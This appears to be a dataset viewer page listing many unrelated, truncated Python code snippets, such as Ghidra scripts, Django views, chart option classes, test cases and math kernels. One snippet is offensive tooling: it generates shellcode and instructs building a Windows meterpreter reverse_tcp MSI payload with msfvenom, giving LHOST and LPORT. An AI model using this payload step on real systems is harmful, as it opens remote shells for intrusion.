code stringlengths 281 23.7M |
|---|
def find_kmalloc_calls_in_function(func):
addr = []
called = func.getCalledFunctions(monitor)
for call in called.iterator():
if (call.getName() == '__kmalloc'):
for ref in getReferencesTo(call.getEntryPoint()):
if func.getBody().contains(ref.getFromAddress()):
... |
class disable_xmit(bsn_tlv):
type = 185
def __init__(self):
return
def pack(self):
packed = []
packed.append(struct.pack('!H', self.type))
packed.append(struct.pack('!H', 0))
length = sum([len(x) for x in packed])
packed[1] = struct.pack('!H', length)
... |
class TestBetterEmNoSmart(util.MdCase):
extension = ['pymdownx.betterem']
extension_configs = {'pymdownx.betterem': {'smart_enable': 'none'}}
def test_complex_multple_emphasis_type(self):
self.check_markdown('traced ***along*** bla **blocked** if other ***or***', '<p>traced <strong><em>along</em></s... |
class TestValidationErrorWithCodes(TestCase):
def setUp(self):
self.DEFAULT_HANDLER = api_settings.EXCEPTION_HANDLER
def exception_handler(exc, request):
data = exc.get_codes()
return Response(data, status=status.HTTP_400_BAD_REQUEST)
api_settings.EXCEPTION_HANDLER = ... |
class BlockingCallbackTransform(StatefulDashTransform):
def __init__(self, timeout=60):
super().__init__()
self.timeout = timeout
def transform_layout(self, layout):
children = (_as_list(layout.children) + self.components)
layout.children = children
def apply(self, callbacks,... |
_POST
_exempt
def ArticleDelete(request):
if (request.method == 'POST'):
id = json.loads(request.body)['id']
user = json.loads(request.body)['username']
if (id and user):
Article.objects.filter(id=id, authors_id=user).update(is_show=False)
return JsonResponse({'status... |
class Cache():
def __init__(self, logger: logging.Logger) -> None:
self.cache: Dict[(str, CacheEntry)] = {}
self.links: Dict[(str, CacheLink)] = {}
self.logger = logger
self.reset_stats()
self.logger.debug('Cache initialized')
def reset_stats(self) -> None:
self.h... |
.parametrize('outlier_1__cpu_percent', ['[0, 1, 2, 3]'])
.usefixtures('outlier_1')
def test_outlier_graph(dashboard_user, endpoint):
response = dashboard_user.get('dashboard/api/outlier_graph/{0}'.format(endpoint.id))
assert (response.status_code == 200)
data = response.json
for i in range(4):
a... |
def setup(app):
app.add_domain(SpecDomain)
definitions.setup(app)
paragraph_ids.setup(app)
informational.setup(app)
items_with_rubric.setup(app)
app.add_config_value(name='spec_std_docs_url', default=' rebuild='env', types=[str])
return {'version': '0', 'parallel_read_safe': True, 'parallel_... |
class Battery():
def __init__(self, battery_size=40):
self.battery_size = battery_size
def describe_battery(self):
print(f'This car has a {self.battery_size}-kWh battery.')
def get_range(self):
if (self.battery_size == 40):
range = 150
elif (self.battery_size == 6... |
def main():
global quiet
shutdown = False
setup_signal_handler()
if (len(sys.argv) == 1):
usage()
rdatatype = 'A'
count = 30
timeout = 2
dnsserver = None
dest_port = 53
src_ip = None
hops = 0
proto = PROTO_UDP
as_lookup = False
expert_mode = False
shou... |
def test_local_storage_newfile_permissionerror(monkeypatch):
def mocktempfile(**kwargs):
raise PermissionError('Fake error')
with TemporaryDirectory() as data_cache:
os.makedirs(os.path.join(data_cache, '1.0'))
assert os.path.exists(data_cache)
monkeypatch.setattr(tempfile, 'Name... |
class Test_csv_py_files(Util):
def check(self, name, skip_if_win=False):
if (skip_if_win and sys.platform.startswith('win')):
raise SkipTest
s = Sniff(os.path.join(os.path.dirname(__file__), 'csv_files', (name + '.csv')))
f_py = os.path.join(os.path.dirname(__file__), 'csv_files'... |
class TestPyPIProvider(TestCase):
def setUp(self):
super(TestPyPIProvider, self).setUp()
self.source_json = {'pypi_package_version': '1.52', 'pypi_package_name': 'motionpaint', 'spec_template': 'epel7', 'python_versions': [2, 3]}
self.resultdir = '/path/to/resultdir'
('{0}.open'.format(b... |
class SupervisedPopen():
def __init__(self, args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=subprocess.PIPE, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0, object_id='', description=''):
self._args = args
... |
class OptionPlotoptionsSunburstAccessibilityPoint(Options):
def dateFormat(self):
return self._config_get(None)
def dateFormat(self, text: str):
self._config(text, js_type=False)
def dateFormatter(self):
return self._config_get(None)
def dateFormatter(self, value: Any):
s... |
class ConflictTargetMetric(Metric[ConflictTargetMetricResults]):
def calculate(self, data: InputData) -> ConflictTargetMetricResults:
dataset_columns = process_columns(data.current_data, data.column_mapping)
target_name = dataset_columns.utility_columns.target
if (target_name is None):
... |
class LondonUnsignedLegacyTransaction(BerlinUnsignedLegacyTransaction):
def as_signed_transaction(self, private_key: PrivateKey, chain_id: int=None) -> LondonLegacyTransaction:
(v, r, s) = create_transaction_signature(self, private_key, chain_id=chain_id)
return LondonLegacyTransaction(nonce=self.no... |
def main():
parser = ArgumentParser(description='Register Bodhi Server with an OIDC provider.')
parser.add_argument('config_file', nargs='?', default='/home/vagrant/development.ini', help="Bodhi server's configuration file")
args = parser.parse_args()
if (not os.path.exists(args.config_file)):
p... |
def process_value(setting_info, color):
if ((color is None) or (str(color).lower() in ['off', 'disable'])):
return [0, 0, 0, 0, 0]
if isinstance(color, (tuple, list)):
if (len(color) != 3):
raise ValueError(('Not a valid color %s' % str(color)))
for channel in color:
... |
def test_fixed_bytes_concat() -> None:
class TestBytes(FixedBytes):
LENGTH = 5
tb0 = TestBytes((b'\x00' * 5))
tb1 = TestBytes((b'1' * 5))
tb = (tb0 + tb1)
assert (tb == b'\x00\x00\x00\x00\x0011111')
assert isinstance(tb, bytes)
assert (not isinstance(tb, TestBytes)) |
class OptionSeriesWindbarbSonificationTracksMappingTremoloSpeed(Options):
def mapFunction(self):
return self._config_get(None)
def mapFunction(self, value: Any):
self._config(value, js_type=False)
def mapTo(self):
return self._config_get(None)
def mapTo(self, text: str):
... |
def upgrade():
op.execute('alter type connectiontype rename to connectiontype_old')
op.execute("create type connectiontype as enum('postgres', 'mongodb', 'mysql', ' 'snowflake', 'redshift', 'mssql', 'mariadb', 'bigquery', 'saas', 'manual')")
op.execute('alter table connectionconfig alter column connection_t... |
def register_plugin(manager):
widget_class = browsepy_widget.WidgetBase
manager._plugin_loaded = True
manager.register_action('test_x_x', widget_class('test_x_x'), ('*/*',))
manager.register_action('test_a_x', widget_class('test_a_x'), ('a/*',))
manager.register_action('test_x_a', widget_class('test... |
class LetExp(Exp):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.v = (bap.vars.build_var(**kwargs['v']) if isinstance(kwargs['v'], dict) else kwargs['v'])
self.head = (build_exp(**kwargs['head']) if isinstance(kwargs['head'], dict) else kwargs['head'])
s... |
class NoOutputTransform(StatefulDashTransform):
def __init__(self):
super().__init__()
def transform_layout(self, layout):
children = (_as_list(layout.children) + self.components)
layout.children = children
def _apply(self, callbacks):
for callback in callbacks:
i... |
def guanaco_generate_stream(model, tokenizer, params, device, context_len=2048):
'Fork from:
tokenizer.bos_token_id = 1
print(params)
stop = params.get('stop', '###')
prompt = params['prompt']
max_new_tokens = params.get('max_new_tokens', 512)
temerature = params.get('temperature', 1.0)
... |
def test_module_procedure():
string = write_rpc_request(1, 'initialize', {'rootPath': str(test_dir)})
file_path = str(((test_dir / 'subdir') / 'test_submod.F90'))
string += write_rpc_notification('textDocument/didOpen', {'textDocument': {'uri': file_path}})
(errcode, results) = run_request(string)
a... |
class OptionSeriesPolygonStatesInactive(Options):
def animation(self) -> 'OptionSeriesPolygonStatesInactiveAnimation':
return self._config_sub_data('animation', OptionSeriesPolygonStatesInactiveAnimation)
def enabled(self):
return self._config_get(True)
def enabled(self, flag: bool):
... |
def upgrade():
bind = op.get_bind()
Session = sessionmaker()
session = Session(bind=bind)
op.create_table('dist_git_branch', sa.Column('name', sa.String(length=50), nullable=False), sa.PrimaryKeyConstraint('name'))
op.add_column(u'mock_chroot', sa.Column('distgit_branch_name', sa.String(length=50), ... |
class HalMemConfig(object):
def __init__(self, name, config_filename, base_addr, size, permissions='rwx', file=None, emulate=None):
self.name = name
self.config_file = config_filename
self.file = file
self.size = size
self.permissions = permissions
self.emulate = emul... |
def quadrupole3d_03(ax, da, A, bx, db, B, R):
result = numpy.zeros((6, 1, 10), dtype=float)
x0 = ((ax + bx) ** (- 1.0))
x1 = (x0 * ((ax * A[0]) + (bx * B[0])))
x2 = (- x1)
x3 = (x2 + B[0])
x4 = (x2 + R[0])
x5 = (x4 ** 2)
x6 = (3.0 * x0)
x7 = (x3 * x4)
x8 = (x6 + (4.0 * x7))
x... |
class OptionPlotoptionsPyramidSonificationTracksMappingFrequency(Options):
def mapFunction(self):
return self._config_get(None)
def mapFunction(self, value: Any):
self._config(value, js_type=False)
def mapTo(self):
return self._config_get(None)
def mapTo(self, text: str):
... |
class UninitializedLocalPattern(DeclarationUtils, AbstractAstPattern):
name = 'Uninitialized Local Variables'
description = 'A variable is declared but never initialized.'
severity = Severity.INFO
tags = {}
def find_matches(self) -> List[PatternMatch]:
ast_root = self.get_ast_root()
... |
def lazy_import():
from fastly.model.included_with_waf_exclusion import IncludedWithWafExclusion
from fastly.model.waf_exclusion_response_data import WafExclusionResponseData
globals()['IncludedWithWafExclusion'] = IncludedWithWafExclusion
globals()['WafExclusionResponseData'] = WafExclusionResponseData |
class TestSnapshotRunning(TestCase):
def test_true(self):
client = Mock()
client.snapshot.status.return_value = {'snapshots': ['running']}
assert snapshot_running(client)
def test_false(self):
client = Mock()
client.snapshot.status.return_value = {'snapshots': []}
... |
def get_entities(ao_id):
requestor_names = []
commenter_names = []
representative_names = []
requestor_types = set()
entities = []
with db.engine.connect() as conn:
rs = conn.execute(AO_ENTITIES, ao_id)
for row in rs:
if (row['role_description'] == 'Requestor'):
... |
def test_ge_flyteschema_with_task():
task_object = GreatExpectationsTask(name='test16', datasource_name='data', inputs=kwtypes(dataset=FlyteSchema), expectation_suite_name='test.demo', data_connector_name='data_flytetype_data_connector', local_file_path='/tmp/test1.parquet')
def my_task(dataframe: pd.DataFrame)... |
_grad()
def test_single_controlnet(unet: SD1UNet) -> None:
original_parent = unet.parent
cn = SD1ControlnetAdapter(unet, name='cn')
assert (unet.parent == original_parent)
assert (len(list(unet.walk(Controlnet))) == 0)
with pytest.raises(ValueError) as exc:
cn.eject()
assert ('not in' in... |
def scroll_profile_page(driver):
body = driver.find_element_by_tag_name('body')
last_height = driver.execute_script('return document.body.scrollHeight')
while True:
body.send_keys(Keys.PAGE_DOWN)
sleep(3)
new_height = driver.execute_script('return document.body.scrollHeight')
... |
class RPCThreadingV6(ThreadingMixIn, SimpleXMLRPCServer):
address_family = socket.AF_INET6
daemon_threads = True
def __init__(self, addr, requestHandler=SimpleXMLRPCRequestHandler, logRequests=True, allow_none=False, encoding=None, bind_and_activate=True):
SimpleXMLRPCServer.__init__(self, addr, req... |
def test_qhull_error(create_polygon):
polygon = create_polygon(exterior=[(107, 189), (106, 190), (100, 190), (99, 191), (95, 191), (94, 192), (92, 192), (91, 193), (90, 193), (89, 194), (88, 194), (87, 195), (86, 195), (85, 196), (84, 196), (82, 198), (82, 203), (86, 207), (87, 207), (90, 210), (91, 210), (92, 211)... |
def get_request_data(args, kwargs) -> Tuple[(Tuple[(str, str, int, str)], str, list)]:
if ((len(args) == 1) and hasattr(args[0], 'method')):
request = args[0]
method = request.method.decode('utf-8')
headers = request.headers
url = (request.url.scheme.decode('utf-8'), request.url.host... |
class BaseMessage(JSONSerializable):
content: str
created_by: str
metadata: Dict[(str, Any)]
def __init__(self, content: str, created_by: str, metadata: Optional[Dict[(str, Any)]]=None) -> None:
super().__init__()
self.content = content
self.created_by = created_by
self.m... |
def main(args):
help_msg = ''
if args.msi:
shellcode = msi_shellcode(args.lhost, args.lport, args.debug_break)
help_msg += f''' Create msi payload:
'''
help_msg += f''' msfvenom -p windows/meterpreter/reverse_tcp LHOST={args.lhost} LPORT=443 -f msi -o X
'''
help_msg += f''' S... |
class ProgressManager(object):
def __init__(self, dialog_class=None):
self.in_progress = False
self._dialog = None
if (dialog_class is None):
dialog_class = ProgressDialogBase
self.dialog_class = dialog_class
self.callers = []
self.title = ''
self.... |
class TargetByFeaturesTable(Metric[TargetByFeaturesTableResults]):
columns: Optional[List[str]]
_text_features_gen: Optional[Dict[(str, Dict[(str, Union[(TextLength, NonLetterCharacterPercentage, OOVWordsPercentage)])])]]
def __init__(self, columns: Optional[List[str]]=None, options: AnyOptions=None):
... |
def setup_package():
root = os.path.abspath(os.path.dirname(__file__))
if ((len(sys.argv) > 1) and (sys.argv[1] == 'clean')):
return clean(root)
with chdir(root):
with open(os.path.join(root, 'preshed', 'about.py')) as f:
about = {}
exec(f.read(), about)
with ... |
def test_dataset_yaml_format_invalid_fides_keys():
dataset = __to_dataset__(example_dataset_yaml)
dataset.get('collections')[0].get('fidesops_meta').get('after')[0] = 'invalid*dataset*name.invalid*collection*name'
with pytest.raises(ValueError) as exc:
d: Dataset = Dataset.parse_obj(dataset)
... |
class BaseAccount(ABC):
def address(self):
pass
def sign_message(self, signable_message: SignableMessage) -> SignedMessage:
pass
def signHash(self, message_hash):
pass
def sign_transaction(self, transaction_dict):
pass
def __eq__(self, other):
return ((type(se... |
def is_conflicting_process_running(list):
for name in list:
result = subprocess.run(args=['pgrep', name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if (result.returncode == 0):
sdlog.error("Conflicting process '{}' is currently running.".format(name))
return True
... |
def menu_IMAGE_MT_image(self, context):
layout = self.layout
layout.separator()
layout.operator(op_texture_reload_all.op.bl_idname, text='Reload Textures', icon_value=icon_get('op_texture_reload_all'))
if (settings.bversion >= 3.0):
layout.operator(op_texel_checker_map.op.bl_idname, text='Checke... |
class log_traceback(TestCase):
def test(self):
with self.assertRaises(SystemExit), self.assertLogs('nutils') as cm, util.log_traceback(gracefulexit=True):
(1 / 0)
self.assertEqual(cm.output, ['ERROR:nutils:ZeroDivisionError: division by zero'])
def test_cause(self):
with self... |
class SagemakerCustomTrainingTask(PythonFunctionTask[SagemakerTrainingJobConfig]):
_SAGEMAKER_CUSTOM_TRAINING_JOB_TASK = 'sagemaker_custom_training_job_task'
def __init__(self, task_config: SagemakerTrainingJobConfig, task_function: Callable, **kwargs):
super().__init__(task_config=task_config, task_fun... |
class TestCLSVOF(object):
def setup_class(cls):
default_n.conservativeFlux = None
pass
def teardown_class(cls):
pass
def reload_modules(self):
reload(default_so)
reload(clsvof)
reload(clsvof_p)
reload(clsvof_n)
def setup_method(self, method):
... |
def compile_and_format(contract_sources: Dict[(str, str)], solc_version: Optional[str]=None, vyper_version: Optional[str]=None, optimize: bool=True, runs: int=200, evm_version: Optional[Union[(str, Dict[(str, str)])]]=None, silent: bool=True, allow_paths: Optional[str]=None, interface_sources: Optional[Dict[(str, str)]... |
def parse_color(string: str, spaces: Dict[(str, 'Space')], start: int, fullmatch: bool=False) -> Optional[Tuple[('Space', Tuple[(Vector, float)], int)]]:
m = RE_COLOR_MATCH.match(string, start)
if ((m is not None) and ((not fullmatch) or (m.end(0) == len(string)))):
ident = m.group(1).lower()
fo... |
def test_chaining():
table = Texttable()
table.reset()
table.set_max_width(50)
table.set_chars(list('-|+='))
table.set_deco(Texttable.BORDER)
table.set_header_align(list('lll'))
table.set_cols_align(list('lll'))
table.set_cols_valign(list('mmm'))
table.set_cols_dtype(list('ttt'))
... |
def test_dereference_config_tree_no_evict():
deref_tree = _dereference_config_tree(deepcopy(CONFIG_TREE_WITH_RENAMES), evict_on_error=False)
for (cluster_name, ref_section, ref_name) in [('wrong_example_google', 'login', 'ubuntu'), ('wrong_example_google', 'setup', 'example_setup')]:
assert (deref_tree[... |
class RMSNorm(Module):
def __init__(self, width: int, *, eps: float, device: Optional[torch.device]=None):
super().__init__()
self.eps = eps
self.weight = Parameter(torch.ones((width,), device=device))
def forward(self, input: Tensor) -> Tensor:
rms = input.to(torch.float32).squa... |
def format_params(*formatters: Any) -> Callable[(..., Any)]:
def decorator(func: Callable[(..., Any)]) -> Callable[(..., Any)]:
(func)
async def formatted_func(self: Any, *args: Any) -> Callable[(..., Any)]:
if (len(formatters) != len(args)):
raise TypeError(('could not a... |
('cuda.where.func_call')
def gen_function_call(func_attrs: Dict[(str, Any)], indent=' ') -> str:
(condition, input_tensor, other_tensor) = func_attrs['args']
output = func_attrs['outputs'][0]
backend_spec = CUDASpec()
return FUNC_CALL_TEMPLATE.render(func_name=func_attrs['name'], output=output._attrs['... |
class Hollstein(object):
def __init__(self, options=('cloud', 'shadow', 'snow')):
self.options = options
def map(self, collection, **kwargs):
col = kwargs.get('col')
renamed = kwargs.get('renamed', False)
bands = []
for band in ['aerosol', 'blue', 'green', 'red_edge_1', '... |
class OptionSeriesVariablepieSonificationDefaultinstrumentoptionsActivewhen(Options):
def crossingDown(self):
return self._config_get(None)
def crossingDown(self, num: float):
self._config(num, js_type=False)
def crossingUp(self):
return self._config_get(None)
def crossingUp(self... |
class FactStarter():
PROGRAM_NAME = 'FACT Starter'
PROGRAM_DESCRIPTION = 'This script starts all installed FACT components'
def __init__(self):
self.run = False
def start(self):
self.run = True
def _handle_sigterm(signum, frame):
del signum, frame
self.shu... |
class CircuitBreaker(object):
FAILURE_THRESHOLD = 5
RECOVERY_TIMEOUT = 30
EXPECTED_EXCEPTION = Exception
FALLBACK_FUNCTION = None
def __init__(self, failure_threshold=None, recovery_timeout=None, expected_exception=None, name=None, fallback_function=None):
self._last_failure = None
s... |
class Profile():
def __init__(self, name: str, email: str, skills: [str], jobs: [Job]):
self.name = name
self.email = email
self.skills = skills
self.jobs = jobs
def reprJSON(self):
return dict(name=self.name, email=self.email, skills=self.skills, jobs=self.jobs) |
class Activity(db.Model):
__tablename__ = 'activities'
id = db.Column(db.Integer, primary_key=True)
actor = db.Column(db.String)
time = db.Column(db.DateTime(timezone=True), default=func.now())
action = db.Column(db.String)
def __repr__(self):
return ('<Activity by %s>' % self.actor) |
class TestSoftmaxConverter(AITTestCase):
([param('default', dim=1), param('neg', dim=(- 1))])
def test_softmax(self, name, dim=None):
class TestModule(torch.nn.Module):
def forward(self, x: torch.Tensor) -> torch.Tensor:
return torch.nn.functional.softmax(x, dim=dim)
... |
class AllocCursor(StmtCursor):
def name(self) -> str:
assert isinstance(self._impl, C.Node)
assert isinstance(self._impl._node, LoopIR.Alloc)
return self._impl._node.name.name()
def mem(self) -> Optional[Memory]:
assert isinstance(self._impl, C.Node)
assert isinstance(sel... |
def plot_ZWFS(wavefront_in, wavefront_out):
fig = plt.figure()
ax1 = fig.add_subplot(131)
im1 = imshow_field(wavefront_in.amplitude, cmap='gray')
ax1.set_title('Input amplitude')
divider = make_axes_locatable(ax1)
cax = divider.append_axes('right', size='5%', pad=0.05)
fig.colorbar(im1, cax=... |
class TargetModel(fl.Module):
def __init__(self) -> None:
super().__init__()
self.relu = fl.ReLU()
self.drop = nn.Dropout(0.5)
self.layers1 = nn.ModuleList(modules=[CustomBasicLayer2(in_features=2, out_features=2) for _ in range(3)])
self.flattenIt = fl.Flatten()
self... |
def extractSeikanjiIchizokuTranslations(item):
(vol, chp, frag, postfix) = extractVolChapterFragmentPostfix(item['title'])
if ((not (chp or vol)) or ('preview' in item['title'].lower())):
return None
if ('WATTT' in item['tags']):
return buildReleaseMessageWithType(item, 'WATTT', vol, chp, fr... |
def new_event_notification(event, location):
admin_group = event.admin
recipients = [admin.email for admin in admin_group.users.all()]
event_short_title = event.title[0:50]
if (len(event.title) > 50):
event_short_title = (event_short_title + '...')
subject = ((('[' + location.email_subject_p... |
class SigningHandler(Handler):
SUPPORTED_PROTOCOL = SigningMessage.protocol_id
def setup(self) -> None:
def handle(self, message: Message) -> None:
signing_msg = cast(SigningMessage, message)
signing_dialogues = cast(SigningDialogues, self.context.signing_dialogues)
signing_dialogue ... |
def resolve_common_log_level_or_error(args: argparse.Namespace) -> str:
common_log_level = (args.log_levels and args.log_levels.get(None))
has_ambigous_logging_config = (((common_log_level is not None) and (args.stderr_log_level is not None)) or ((common_log_level is not None) and (args.file_log_level is not No... |
_renderer(wrap_type=TextDescriptorsCorrelationMetric)
class TextDescriptorsCorrelationMetricRenderer(MetricRenderer):
def _get_plots_correlations(self, curr_metric_result: Dict, ref_metric_result: Optional[Dict]) -> Optional[BaseWidgetInfo]:
tabs = []
for (correlation_name, current_correlation) in c... |
class PermissionsApplierFormFactory(object):
def create_form_cls(permission=None):
class F(BaseForm):
pass
builder_default = False
admin_default = False
if permission:
if (permission.copr_builder != helpers.PermissionEnum('nothing')):
builder_d... |
.django_db
def test_search_after(client, monkeypatch, spending_by_award_test_data, elasticsearch_award_index):
setup_elasticsearch_test(monkeypatch, elasticsearch_award_index)
resp = client.post('/api/v2/search/spending_by_award', content_type='application/json', data=json.dumps({'filters': {'award_type_codes':... |
def test_color_decision_list():
ccc = '\n <ColorCorrectionCollection xmlns="urn:ASC:CDL:v1.2">\n <ColorCorrection id="cc03345">\n <SOPNode>\n <Slope> 0.9 1.2 0.5 </Slope>\n <Offset> 0.4 -0.5 0.6 </Offset>\n <Power> 1.0 0.8 1.5 </Power>\n <... |
class Rich_Tcp_Mss_Clamp(_Rich_Element):
def __init__(self, value):
self.value = value
def __str__(self):
if self.value:
return ('tcp-mss-clamp value="%s"' % self.value)
else:
return 'tcp-mss-clamp'
def check(self, family=None):
if self.value:
... |
def searchAttachments(accountObject, params):
folder = params.get('folder')
terms = params.get('terms')
count = params.get('count')
if (len(terms) > 1):
termList = terms.split(',')
else:
termList = terms
if params.get('delegated'):
searchFolder = accountObject.inbox
e... |
class ProgressCaller(object):
def __init__(self, max_steps=0, title=''):
self._max_steps = None
self.max_steps = max_steps
self.title = title
self.current_step = 0
self.manager = None
def max_steps(self):
return self._max_steps
_steps.setter
def max_steps(... |
def _log(msg, logfunc, prefix='', **kwargs):
try:
msg = str(msg)
except Exception as err:
msg = str(err)
if kwargs:
logfunc(msg, **kwargs)
else:
try:
for line in msg.splitlines():
logfunc('{line}', prefix=prefix, line=line)
except Excep... |
class _TableView(QtGui.QTableView):
def __init__(self, editor):
QtGui.QTableView.__init__(self)
self._user_widths = None
self._is_resizing = False
self._editor = editor
self.setModel(editor.model)
factory = editor.factory
vheader = self.verticalHeader()
... |
class StereoSGBM(BlockMatcher):
parameter_maxima = {'minDisparity': None, 'numDisparities': None, 'SADWindowSize': 11, 'P1': None, 'P2': None, 'disp12MaxDiff': None, 'uniquenessRatio': 15, 'speckleWindowSize': 200, 'speckleRange': 2, 'fullDP': 1}
def minDisparity(self):
return self._min_disparity
de... |
class Runner(BaseRunner):
def __init__(self, devs: List[int], timeout: int=10):
super().__init__(devs, 'builder', timeout)
_LOGGER.info('Using {n} CPU for building'.format(n=devs))
self._ftask_proc = process_task
self._fret_proc = process_return
def push(self, idx: Union[(int, st... |
def test_from_simple_surface():
surf = xtgeo.RegularSurface(ncol=4, nrow=5, xori=0, yori=0, xinc=25, yinc=25, values=1234.0)
poi = xtgeo.points_from_surface(surf)
assert (poi.dataframe[poi.zname][0] == 1234.0)
poi.zname = 'VALUES'
pd.testing.assert_frame_equal(poi.dataframe, surf.dataframe())
po... |
def main():
parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('--service_account', help='email-id of the service-account', default='envoy--ci.iam.gserviceaccount.com')
parser.add_argument('--vm_name', help='name of the virtual machine that you want ... |
class Threshold(Filter):
__version__ = 0
threshold_filter = Property(Instance(tvtk.Object, allow_none=False), record=True)
filter_type = Enum('cells', 'points', desc='if thresholding is done on cells or points')
lower_threshold = Range(value=(- 1e+20), low='_data_min', high='_data_max', enter_set=True, ... |
def test_multipart_request_with_charset_for_filename(tmpdir, test_client_factory):
client = test_client_factory(app)
response = client.post('/', data=b'--a7f7ac8d4e2e437c877bb7b8d7cc549c\r\nContent-Disposition: form-data; name="file"; filename="\xe6\x96\x87\xe6\x9b\xb8.txt"\r\nContent-Type: text/plain\r\n\r\n<f... |
class IntrospectionAction(Action):
description = "This action returns detailed information about the service's defined actions and the request and response schemas for each action, along with any documentation defined for the action or for the service itself. It can be passed a single action name to return informat... |
class MockApiRequestHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
logger.info((format % args))
def do_GET(self):
o = urllib.parse.urlparse(self.path)
q = urllib.parse.parse_qs(o.query)
data = {}
if (('/spending_by_org' in o.path) and ('ccg' in q.g... |
class AlertManager(BaseAlertManager):
def __init__(self, input_queue: InputBatchQueue, output_queue: OutputBatchQueue):
self.input_queue = input_queue
self.output_queue = output_queue
async def send(self, model_instance: dm.ModelInstance, error: HealthCheckError):
batch = model_instance.... |
def tex_Div(head, args, **kwargs):
assert (len(args) == 2)
(num, den) = args
in_small = kwargs.get('in_small', False)
if in_small:
numstr = num.latex(in_small=True)
denstr = den.latex(in_small=True)
if need_parens_in_mul(num):
numstr = ('\\left( %s \\right)' % numstr)... |
.django_db
def test_autocomplete_filters(client, test_data):
endpoint = (BASE_ENDPOINT + 'ata')
_post(client, endpoint, {}, {'results': [{'ata': '000', 'agency_name': 'Agency 000', 'agency_abbreviation': 'A000'}, {'ata': '001', 'agency_name': None, 'agency_abbreviation': None}, {'ata': None, 'agency_name': None... |
def log_cmd(argv=None):
if argv:
args = docopt(__doc__, argv=argv)
else:
args = docopt(__doc__)
log_dir = args['<log-dir>']
start_port = int(args['--port'])
log_config_name = args['--log-config-name']
standby_hours = int(args['--standby-hours'])
ip = args['--ip']
token = ... |
def test_merge_dataframes():
df1 = pd.DataFrame([['01.01.2016 00:00:00', 5, 1, 'str'], ['03.01.2016 01:00:00', 4, 2, 'hallo'], ['04.01.2016 10:00:00', 3, 3, 5]], columns=['time', 'B', 'A', 'C'])
df2 = pd.DataFrame([['01.02.2016 00:00:00', (- 1), 3.2, 2], ['01.01.2016 00:00:00', 5, 4, 2.1], ['02.01.2016 00:30:15... |
(_gemm_do_ld_acc_i32)
def do_ld_acc_i32(n: size, m: size, src: ([i32][(n, m)] DRAM), dst: ([i32][(n, 16)] GEMM_ACCUM)):
assert (n <= 16)
assert (m <= 16)
assert (stride(src, 1) == 1)
assert (stride(dst, 0) == 16)
assert (stride(dst, 1) == 1)
for i in seq(0, n):
for j in seq(0, m):
... |
_property(ofproto.OFPQT_MAX_RATE, ofproto.OFP_QUEUE_PROP_MAX_RATE_SIZE)
class OFPQueuePropMaxRate(OFPQueueProp):
def __init__(self, rate, property_=None, len_=None):
super(OFPQueuePropMaxRate, self).__init__()
self.rate = rate
def parser(cls, buf, offset):
(rate,) = struct.unpack_from(of... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.